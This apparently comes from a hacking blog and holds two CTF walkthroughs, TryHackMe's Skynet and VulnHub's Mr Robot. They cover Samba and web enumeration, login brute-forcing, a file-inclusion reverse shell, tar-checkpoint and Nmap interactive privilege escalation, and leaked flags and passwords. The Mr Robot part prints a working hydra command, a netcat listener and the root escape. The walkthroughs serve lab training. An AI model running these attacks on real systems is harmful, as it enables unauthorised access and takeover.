Hello world, welcome to Haxez. TryHackMe is an online platform designed to teach and enhance cybersecurity skills. It provides a safe and legal environment for individuals and organizations to learn and practice in various cybersecurity domains. The platform offers interactive and engaging challenges and labs, providing hands-on experience.
TryHackMe Learning Paths
Users can select from several learning paths, which are comprehensive and easy-to-follow guides for specific domains. They include quizzes, video tutorials, and articles. Additionally, TryHackMe has a community of users and experts that actively collaborate to provide tips and techniques.
The platform offers organizations customizable training programs, providing employees with the best cybersecurity practices. Through training, organizations can improve their cybersecurity defences and reduce the risk of cyber attacks.
Moreover, TryHackMe hosts competitions and events, bringing together the community and providing opportunities for users to showcase their skills. It also offers a cyber range that simulates real-world scenarios to help users understand how cyber attacks work and how to prevent them.
Gamification
One of the unique features of TryHackMe is its gamified approach to learning. Users can earn points, badges, and rankings by completing challenges and labs. The rankings are designed to encourage users to learn and improve their skills continuously.
TryHackMe is a valuable resource for individuals seeking to improve their cybersecurity skills or organizations looking to train their employees. The interactive and engaging challenges and labs, comprehensive learning paths, active community, and gamified approach make it an excellent choice for anyone looking to improve their cybersecurity skills.
I like TryHackMe a lot, it has an easier learning curve than Hack The Box. Hack The Box labs don’t give you much to go on. THM will guide you through the process of enumerating the host, getting a foothold and then elevating yourself to root. It’s a lot of fun, especially their annual Advent Of Cyber event.
We took technology for granted. Laughed at the suffering of the robots we had enslaved. Dismissed the warnings of the mainstream media. If was over before it began. Skynet, an interconnected neural defense network became self-aware. We didn’t stand a chance.
I was sent back from the future by the leader of the resistance John Connor, my mission is to hack into the Skynet mainframe and destroy it before it becomes self-aware. I have infiltrated a Skynet data center and jacked into their network. If you’re listening to this, you are the resistance.
Hello World and welcome to HaXeZ. Cheesy intros aside, today we’re going to be hacking the Skynet box on TryHackMe. I came upon this box while going through the Offensive Security Learning path. The Box was a lot of fun so I wanted to make a write-up and create a video about it. The foothold requires some enumeration of Samba and web services. Then exploiting an outdated Content Management System to perform local and remote file inclusion to gain a reverse shell.
Skynet Host Enumeration
I ran a Nmap scan with the safe scripts, service version, and Operating System detection flags set against all ports. The scan came back and revealed that SSH, Apache, Dovecot, and Samba were listening on the server. As a result, we have a large attack surface to go after. We could start by brute forcing SSH. However, as there are plenty of other services to go after let’s start with the web server.
Skynet Nmap Scan
Skynet Web Server Enumeration
The initial landing page of the web server appears to a Skynet search engine. However, submitting search parameters to the submission form didn’t appear to do anything. Therefore, I decided to run DIRB (with a custom wordlist) against the webserver to see if there were any juicy directories. While DIRB was running, I started to enumerate the Samba shares to see if I had access to anything.
Skynet Search EngineDirb Directory Brute Force
SMB Enumeration
I used the tool smbclient with the list argument to list the shares that were exposed on the host. Notably, there were a number of shares available but the one named anonymous caught my eye. Perhaps this anonymous share would allow me to explore it without authenticating. Success, we were able to access the anonymous share and found a number of files including attention.txt, log1.txt, log2.txt, and log3.txt. The contents of the attention.txt document revealed that the host had recently encountered a misconfiguration and that all users needed to change their passwords. The text document was signed by none other than Miles Dyson. Furthermore, the log1.txt document contained a list of terminator names. Perhaps this was a password list.
smbclient SMB Enumeration
Squirrelmail
Heading back to my DIRB scan I noticed that it had found a directory called SquirrelMail. Furthermore, upon visiting this directory we were greeted with a login page. With the username milesdyson and the log1.txt wordlist we found on the Samba share, I launched Burp Suite and started a brute force attack.
Squirrel Mail
Comparing the results of the Burp Suite brute force attack revealed that one of the attempts was successful. The response length was different and the HTTP status code showed a 302 redirect instead of a 200 message. In other words, instead of loading a page with an error message saying the credentials were incorrect, it redirected me to the mail portal.
Burp Suite Brute Force
Samba Password
I read through Miles Dyson’s emails and noticed he had received an email from [email protected]. Additionally, this email was informing Mr. Dyson that his Samba password had been changed. The email actually included the new password. Loaded with that new information, I headed back to my terminal and attempted to mount the /milesdyson share with the milesdyson username and the new password. It worked! The share was full of documents about AI neural networks but there was also a text document named important.txt This new text document mentioned a Content Management System under a new directory. This directory was a random combination of letters and numbers so it is unlikely that a directory brute force attack would have found it.
Miles Dyson Samba Directory
Deeper Directories
Armed with this new directory, I ran another DIRB against it and found that there was a directory called administrator. Navigating to this directory loaded a new login portal for a Content Management System called Cuppa CMS.
Cuppa CMS
After trying some basic credentials I went back to my terminal and used searchsploit to see if there were any vulnerabilities. Sure enough, there was a local and remote file inclusion vulnerability that would allow a threat actor to load local files on the system such as the passwd file as well as force the server to execute files hosted remotely.
SearchSploit
Catching A Reverse Shell
After testing out the local file inclusion vulnerability, I headed to Pentestmonkey’s PHP reverse shell on Github.com. I grabbed the raw URL and downloaded it locally and then amended it to include my IP address and desired port of 443. Then I used the Python3 HTTP module to start a webserver on port 80. I created a NetCat listener on port 443 and then appended the link to the reverse shell into the Cuppa CMS URL. After hitting enter I was greeted with that glorious message of Connect to from unknown. The reverse shell had worked and I was now on the system.
Reverse Shell
Skynet System Enumeration
I poked around on the system for a bit and was able to capture the user flag from the milesdyson home directory. I also noticed a backup.sh file that appeared to be backing up everything in the /var/www/html directory with Tar. Furthermore, this backup.sh script was owned by root. I decided to cat out /etc/crontab to see whether this was running as a cron job. Sure enough, it was, the job was running as root every hour, minute, and second.
Skynet Enumeration
Privilege Escalation
The end to Skynet was within reach. I headed over to GTFO bins and searched for Tar. There was an entry for Tar using a feature called checkpoints. These checkpoints allow for the execution of arbitrary actions or commands. By creating a checkpoint I could instruct Tar to execute a command of my choosing. Based on a write-up on https://steflan-security.com I decided to create a bash script that copied /bin/bash to /tmp and then change the permissions to include the setUID bit. This means that when the backup.sh cron job runs, Tar would create a bash binary in /tmp that would elevate me to root. After a bit of trial and error, the exploit worked and by appending the -p argument I was able to get root and capture the root flag.
Privilege Escalation
Conclusions
This was a great box and I loved the theme of it. I don’t know why but I always find boxes with a strong theme more engaging. It’s like the websites on hackthissite.org, if I’m supposed to be hacking some super evil person then I’m more inclined to succeed. Perhaps my imagination is running away with me. Either way, this is a great box, I would personally rank it as a medium difficulty box mainly because I struggled with the last step. I had to terminate (excuse the pun) the existing machine and start again to get it to work. I loved the remote file inclusion vulnerability, that was insanely cool. Anyway, until next time. Kind Regards.
Dear Friend, thank you for coming to HaXeZ. I love the show Mr Robot, it’s probably one of my all-time favourite shows (along with the X-Files and House). Not only is it a realistic hacking drama but it’s also a psychological thriller with some crazy moments. So, today we’re going to channel our inner hacktivist and join up with fsociety to bring down the global conglomerate that is Evil Corp. That’s right, we’re going to be hacking our way into the Mr Robot box on VulnHub created by Leon Johnson.
Mr Robot Set Up
In order to hack this box, you will first need to download it from VulnHub. Once the box has been downloaded you will then need to import it into your Virtual Machine Hypervisor software. I’m going to be using VirtualBox for this and it’s as simple as clicking ‘File > Import Appliance’ and then navigating to the file you downloaded. It may take a couple of minutes but once it’s done, power it up along with your hacking Virtual Machine.
Importing Mr Robot
VirtualBox Network Setup
Firstly, you want to check your Host Network Manager settings. This can be done in VirtualBox by ‘File > Host Network Manager’. Take a look at your network settings and make note of the IPv4 address.
VirtualBox Network Manager
Once you have the host network address, check that DHCP is enabled. Then, head to the network settings of both your hacking machine and your target machine. Check that both of the machines have Adapter 1 set to host only and that the name of the adapter is the same. If you want you can enable the second adapter on Kali and set it to NAT so that you still have internet access.
VirtualBox Host Network
Finding Mr Robot
Hopefully, finding Mr Robot won’t be too difficult now that we have our network settings configured correctly. First, you can use a tool called netdiscover which can either passively detect online hosts or search for them by sending ARP requests. This can be quite noisy but I thought it was worth mentioning. We know the IP address of the host-only interface is 192.168.56.0 so let’s ask netdiscover to explore that range.
Netdiscover
sudo netdiscover -r 192.168.56.0/24
Currently scanning: Finished! | Screen View: Unique Hosts 3 Captured ARP Req/Rep packets, from 3 hosts. Total size: 180 _____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.56.1 0a:00:27:00:00:0b 1 60 Unknown vendor
192.168.56.100 08:00:27:71:14:50 1 60 PCS Systemtechnik GmbH 192.168.56.101 08:00:27:db:36:79 1 60 PCS Systemtechnik GmbH
As you can see, three hosts respond. One is our default gateway with the IP address of 192.168.56.1 and one is our own machine and the other is the target machine. We will have to work out which one is which in a moment.
Ping Sweep
Our second method for finding the host is to perform a ping sweep against the network. As you can see from the terminal output below, it has found the same hosts. So we now know that the target host is either 192.168.56.100 or 192.168..56.101. Let’s perform some reconnaissance to figure out which is which.
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sP 192.168.56.0/24
[sudo] password for kali:
Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-30 07:39 EDT
Nmap scan report for 192.168.56.1
Host is up (0.00015s latency).
MAC Address: 0A:00:27:00:00:0B (Unknown)
Nmap scan report for 192.168.56.100
Host is up (0.00036s latency).
MAC Address: 08:00:27:71:14:50 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.101
Host is up (0.00038s latency).
MAC Address: 08:00:27:DB:36:79 (Oracle VirtualBox virtual NIC)
Nmap done: 256 IP addresses (4 hosts up) scanned in 28.02 seconds
Mr Robot Reconnaissance
In order to work out which one our target is, we can perform a port scan on both IP addresses. The services listening on the IP addresses should tell us which one we need to attack. All I’m doing in the scan below is running a TCP scan against all ports. This is usually fairly quick and should give us everything we need. We could do far more complex scans but for now, let’s work out which box is which.
┌──(kali㉿kali)-[/media/sf_OneDrive/VulnHub/MrRobot/Tooloutput]
└─$ sudo nmap -sT -p0- 192.168.56.100
Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-30 08:00 EDT
Nmap scan report for 192.168.56.100
Host is up (0.00012s latency).
All 65536 scanned ports on 192.168.56.100 are in ignored states.
Not shown: 65536 filtered tcp ports (proto-unreach)
MAC Address: 08:00:27:71:14:50 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 15.35 seconds
Not a lot going on here. This is probably my machine as there won’t be many services running.
┌──(kali㉿kali)-[/media/sf_OneDrive/VulnHub/MrRobot/Tooloutput]
└─$ sudo nmap -sT -p0- 192.168.56.101
Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-30 08:01 EDT
Nmap scan report for 192.168.56.101
Host is up (0.0014s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp closed ssh
80/tcp open http
443/tcp open https
MAC Address: 08:00:27:DB:36:79 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 125.66 seconds
As we have a closed SSH port and a web server listening on ports 80 and 443. That definitely isn’t my machine and is likely our target.
Exploring The Mr Robot Web Server
We know that ports 80 and 443 are open so let’s go check them out in our browser. Just grab the IP address and pop it in your browser with either HTTP:// or HTTPS:// at the beginning. The website emulates a Linux terminal with a number of options. Going through these options doesn’t appear to give us much but is pretty cool for immersion. I suggest going through them.
Mr Robot Web Server
Busting Directories
Since the website didn’t offer us much that we could use to progress, it’s time to brute force its directories and files to see find we can find anything interesting. There are a number of tools out there that can do this but I’m going to keep it simple and use dirb. The output of dirb is quite significant so I will only include a small section here.
As can be seen from the output above, we have a number of interesting files and directories. The first file I want to look at is the robots.txt file. In essence, the robots.txt file is a file that tells search engines what not to index. If you have login pages on your website then you would include them in the robots.txt file to ensure they don’t get indexed by search engines. Let’s take a look at it at http://192.168.56.101/robots.txt
User-agent: *
fsocity.dic
key-1-of-3.txt
First Key
It looks like we have our first flag or key. Navigate to the http://192.168.56.101/key-1-of-3.txt file and you should receive the following key 073403c8a58a1f80d943455fb30724b9. It also appears that we have a dictionary file, perhaps a word list that we can use to attempt to gain access to the machine. Let’s check it out http://192.168.56.101/fsocity.dic. The file will automatically download but you can cat it once it has downloaded.
Mr Robot Fsociety.dic
Admin Area
My suspicions were correct, it is a large wordlist. We could try and brute force SSH with it or the admin area of the website. Since we found it on the website I think we should start there. The first admin area found by dirb was https://192.168.56.101/admin but visiting that has a constant redirect loop on it. However, it also found a WordPress admin area.
Mr Robot wp-admin Area
Enumerating Valid Users
Interestingly, when attempting to login into the portal with admin: admin I am informed that I’m using an invalid username. This is a common tactic used in web application penetration testing to enumerate users. If the error messages for submitting an incorrect username and a correct username with an incorrect password are different, then we can enumerate the correct users. First, let’s sort out the wordlist so it only has unique entries.
There are many different tools out there capable of brute-forcing web applications and Burp Suite is probably a bit overkill for this task. However, I know how to use Burp and find it really intuitive so I’m going to stick with what I know. With the proxy on, I will capture a login request and send it to the intruder. There I will clear the existing positions and add my own to the log parameter.
Mr Robot Burp Suite
I will then load the fsociety.dic file into the payloads and start the attack Within a matter of moments we can see that the user Elliot has a different response length from the rest of the responses. This suggests that the error message being sent back is different from that of the rest of the users.
Mr Robot Burp Brute Force
Within a matter of moments, we can see that the user Elliot has a different response length from the rest of the responses. This suggests that the error message being sent back is different from that of the rest of the users.
Hydra
The error message is different, as you can see it is saying that password for the user Elliot is incorrect. So now that we know our username, it’s time to find our password and in order to do that, we’re going to use a different tool called Hydra.
hydra -vV -l elliot -P robotdic.txt 192.168.56.101 http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=is incorrect'
[ATTEMPT] target 192.168.56.101 - login "elliot" - pass "even" - 5656 of 11452 [child 9]
[ATTEMPT] target 192.168.56.101 - login "elliot" - pass "Even" - 5657 of 11452 [child 7]
[ATTEMPT] target 192.168.56.101 - login "elliot" - pass "evening" - 5658 of 11452 [child 11]
[ATTEMPT] target 192.168.56.101 - login "elliot" - pass "event" - 5659 of 11452 [child 12]
[ATTEMPT] target 192.168.56.101 - login "elliot" - pass "events" - 5660 of 11452 [child 5]
[80][http-post-form] host: 192.168.56.101 login: elliot password: ER28-0652
STATUS] attack finished for 192.168.56.101 (waiting for children to complete tests)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-04-30 09:58:12
Bingo we have found his password from the fsociety.dic file.
Popping Shells
Now we need to get on the box, the simplest way to do this is to add some code to one of the WordPress templates. The easiest is probably going to be the 404 templates because you can then call any non-existing page to execute the code. Modify the following code with your own IP address and add it to the top of the WordPress 404 template.
Now, in your terminal create a listener on port 443 using NetCat.
┌──(kali㉿kali)-[/media/sf_OneDrive/VulnHub/MrRobot/Tooloutput]
└─$ sudo nc -lvp 443
listening on [any] 443 ...
connect to [192.168.56.102] from (UNKNOWN) [192.168.56.101] 37398
[email protected]:/opt/bitnami/apps/wordpress/htdocs$ ls
Mr Robot Lateral Movement
Looking in the home directory we can see there is a user called ‘robot’. Furthermore, there are two files in this user’s home directory. One is the second key and the other is what appears to be a password md5. Unfortunately, we can’t read the key file due to the permissions but we can read the password file.
[email protected]:/opt/bitnami/apps/wordpress/htdocs$ ls -laSh /home/robot
ls -laSh /home/robot
total 16K
drwxr-xr-x 2 root root 4.0K Nov 13 2015 .
drwxr-xr-x 3 root root 4.0K Nov 13 2015 ..
-rw-r--r-- 1 robot robot 39 Nov 13 2015 password.raw-md5
-r-------- 1 robot robot 33 Nov 13 2015 key-2-of-3.txt
If we cat this file we can see that is the md5 hash for the user robot. If we crack this hash then we should be able to switch to the robot user.
Now, we could crack this hash using Hashcat or John The Ripper. However, it has likely already been cracked so let’s check out crackstation.net. Indeed the hash has already been cracked and the password is abcdefghijklmnopqrstuvwxyz… right.
Mr Robot Crackstation.net
TTY Shell
Trying to switch to ‘robot’ in our current shell will produce an error saying we need to be in a terminal. In order to resolve this issue, we need to spawn a TTY shell.
In order to escalate our privileges to root, we need to find a program that can elevate us. This is normally possible due to a file having the suid bit set. You can find files with the suid bit set by running the following command.
We can see from the output that one of these files is Nmap and older versions of Nmap had an interactive mode that you could use to escape to root. As you can see from the tool output below, we can use Nmap interactive mode to escape to root and capture the final key.
[email protected]:~$ nmap –interactive
nmap –interactive
Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
!sh
# whoami
Whoami
root
# ls
Ls
key-2-of-3.txt password.raw-md5
# cd /root
cd /root
# ls
Ls
firstboot_done key-3-of-3.txt
# cat key-3-of-3.txt
cat key-3-of-3.txt
04787ddef27c3dee1ee161b21670b4e4
